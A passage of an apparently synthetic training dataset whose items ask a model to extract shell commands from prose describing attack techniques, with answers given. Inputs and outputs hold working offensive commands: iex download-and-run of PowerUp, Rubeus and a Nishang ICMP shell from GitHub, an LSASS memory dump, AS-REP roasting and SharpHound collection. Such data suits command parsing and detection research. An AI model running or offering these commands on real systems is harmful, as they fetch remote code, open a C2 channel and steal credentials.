(SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To recursively change ownership of a file or folder, use the following command: chown -R #{owner} #{file_or_folder}",
    "output": "{\"command_list\": [\"chown -R #{owner} #{file_or_folder}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify system owners or users on an endpoint, run the following commands which will output a list of usernames: users\nw\nwho\n",
    "output": "{\"command_list\": [\"users\\nw\\nwho\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For permission groups discovery, execute this PowerShell command which may show errors on standalone machines: get-localgroup\nGet-LocalGroupMember -Name \"Administrators\"\n",
    "output": "{\"command_list\": [\"get-localgroup\\nGet-LocalGroupMember -Name \\\"Administrators\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For persistence or data duplication purposes, adversaries might create disk snapshots via the command: az snapshot create --resource-group #{azure_resource_group} --name #{azure_snapshot_name} --source #{azure_disk_name} --location eastus",
    "output": "{\"command_list\": [\"az snapshot create --resource-group #{azure_resource_group} --name #{azure_snapshot_name} --source #{azure_disk_name} --location eastus\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To conceal a file on MacOS, use the following command: xattr -lr * / 2>&1 /dev/null | grep -C 2 \"00 00 00 00 00 00 00 00 40 00 FF FF FF FF 00 00\"",
    "output": "{\"command_list\": [\"xattr -lr * / 2>&1 /dev/null | grep -C 2 \\\"00 00 00 00 00 00 00 00 40 00 FF FF FF FF 00 00\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves using .NET's createdump executable to dump LSASS memory, which can be done with the following command: $exePath =  resolve-path \"$env:ProgramFiles\\dotnet\\shared\\Microsoft.NETCore.App\\5*\\createdump.exe\"\n& \"$exePath\" -u -f $env:Temp\\dotnet-lsass.dmp (Get-Process lsass).id",
    "output": "{\"command_list\": [\"$exePath =  resolve-path \\\"$env:ProgramFiles\\\\dotnet\\\\shared\\\\Microsoft.NETCore.App\\\\5*\\\\createdump.exe\\\"\\n& \\\"$exePath\\\" -u -f $env:Temp\\\\dotnet-lsass.dmp (Get-Process lsass).id\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To perform Kerberoasting with the Rubeus technique using PowerSharpPack, run the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')\nInvoke-Rubeus -Command \"asreproast /format:hashcat /nowrap\"",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')\\nInvoke-Rubeus -Command \\\"asreproast /format:hashcat /nowrap\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This script attempts to start a C2 session over ICMP with the command: IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1')\nInvoke-PowerShellIcmp -IPAddress #{server_ip}\n",
    "output": "{\"command_list\": [\"IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1')\\nInvoke-PowerShellIcmp -IPAddress #{server_ip}\\n\"]}"
  },
  {
